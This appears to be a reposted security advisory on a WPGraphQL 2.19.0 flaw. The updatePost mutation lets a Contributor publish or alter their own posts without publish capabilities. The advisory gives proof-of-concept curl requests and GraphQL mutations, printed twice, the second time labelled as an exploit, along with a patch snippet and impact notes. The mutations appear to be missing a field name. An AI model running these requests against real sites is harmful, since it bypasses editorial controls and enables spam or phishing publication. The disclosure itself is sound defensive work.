Listen to this Post
WPGraphQL 2.19.0 updatePost allows Contributor authorization bypass.
An authenticated Contributor can publish their own draft without publish_posts.
The same mutation can edit their own published post without edit_published_posts.
It also fails WordPress object-level edit_post capability checks.
The mutation checks only collection-level edit_posts capability.
It separately blocks changing another author’s post.
But it does not call current_user_can(edit_post, post_id).
It does not check publish_posts when status changes to publish.
It passes status directly to wp_update_post().
wp_update_post() expects caller to enforce authorization.
createPost in WPGraphQL checks publish_posts.
createPost changes unauthorized status to pending.
updatePost lacks that protection.
WordPress REST API rejects equivalent operations.
The bypass breaks standard editorial workflow.
A Contributor role has edit_posts.
A Contributor lacks publish_posts and edit_published_posts.
No admin action beyond assigning Contributor is needed.
Attacker authenticates to /graphql.
Application Password over HTTPS can be used.
WordPress cookie plus valid nonce can be used.
Default WPGraphQL settings are sufficient.
The issue affects post integrity.
It can publish spam, phishing, misleading, SEO content.
It can modify content after editorial approval.
It can change status of previously published posts.
It does not allow editing another author’s posts.
It does not allow role escalation.
It does not allow administrator access.
It does not allow arbitrary code execution.
It does not expose secrets.
Normal WordPress content sanitization still applies.
CWE-863: Incorrect Authorization.
OWASP 2021 A01 Broken Access Control.
Minimum required role Contributor.
DailyCVE Form:
Platform: WPGraphQL WordPress Plugin
Version: 2.19.0
Vulnerability : Authorization Bypass
Severity: Not Stated
date: Not provided
Prediction: Patch date unknown
(end of form)
What Undercode Say:
Analytics
curl --user 'gql_contributor:APPLICATION_PASSWORD' \
-H 'Content-Type: application/json' \
--data-binary '{"query":"mutation { createPost(input:{\"Contributor publication bypass test\", content:\"Created by a Contributor and not reviewed by an editor.\", status:DRAFT}) { post { databaseId status } } }"}' \
'https://wordpress.example/graphql'
curl --user 'gql_contributor:APPLICATION_PASSWORD' \
-H 'Content-Type: application/json' \
--data-binary '{"status":"publish"}' \
'https://wordpress.example/wp-json/wp/v2/posts/21'
curl --user 'gql_contributor:APPLICATION_PASSWORD' \
-H 'Content-Type: application/json' \
--data-binary '{"query":"mutation { updatePost(input:{id:\"21\", status:PUBLISH}) { post { databaseId status uri } } }"}' \
'https://wordpress.example/graphql'
curl -H 'Content-Type: application/json' \
--data-binary '{"query":"query { post(id:\"21\", idType:DATABASE_ID) { databaseId status uri } }"}' \
'https://wordpress.example/graphql'
mutation {
updatePost(input: {
id: "PUBLISHED_POST_DATABASE_ID"
"Unauthorized change after editorial approval"
content: "The Contributor can replace previously approved content."
}) {
post {
databaseId
status
}
}
}
if ( ! isset( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->edit_posts ) ) {
// Reject request.
}
if (
! isset( $post_type_object->cap->edit_post ) ||
! current_user_can( $post_type_object->cap->edit_post, $post_id )
) {
throw new UserError( / authorization error / );
}
Exploit: (Educational Purposes!)
curl --user 'gql_contributor:APPLICATION_PASSWORD' \
-H 'Content-Type: application/json' \
--data-binary '{"query":"mutation { createPost(input:{\"Contributor publication bypass test\", content:\"Created by a Contributor and not reviewed by an editor.\", status:DRAFT}) { post { databaseId status } } }"}' \
'https://wordpress.example/graphql'
curl --user 'gql_contributor:APPLICATION_PASSWORD' \
-H 'Content-Type: application/json' \
--data-binary '{"status":"publish"}' \
'https://wordpress.example/wp-json/wp/v2/posts/21'
curl --user 'gql_contributor:APPLICATION_PASSWORD' \
-H 'Content-Type: application/json' \
--data-binary '{"query":"mutation { updatePost(input:{id:\"21\", status:PUBLISH}) { post { databaseId status uri } } }"}' \
'https://wordpress.example/graphql'
curl -H 'Content-Type: application/json' \
--data-binary '{"query":"query { post(id:\"21\", idType:DATABASE_ID) { databaseId status uri } }"}' \
'https://wordpress.example/graphql'
mutation {
updatePost(input: {
id: "PUBLISHED_POST_DATABASE_ID"
"Unauthorized change after editorial approval"
content: "The Contributor can replace previously approved content."
}) {
post {
databaseId
status
}
}
}
Protection: from this CVE
if (
! isset( $post_type_object->cap->edit_post ) ||
! current_user_can( $post_type_object->cap->edit_post, $post_id )
) {
throw new UserError( / authorization error / );
}
Status transitions enforce publish_posts.
Tests cover allowed denied cases.
Contributor updating own draft allowed.
Contributor publishing own draft denied.
Contributor editing published post denied.
Author publishing own post allowed.
Contributor editing another author denied.
Impact:
Publish arbitrary posts without approval.
Publish spam, phishing, misleading, SEO content.
Modify content after editorial review.
Change status of previously published posts.
Repeat for additional drafts.
Affects integrity of public content.
Affects availability of attacker-authored posts.
No modification of another author’s posts.
No role escalation.
No administrator access.
No arbitrary code execution.
No direct secret access.
Normal WordPress sanitization applies.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

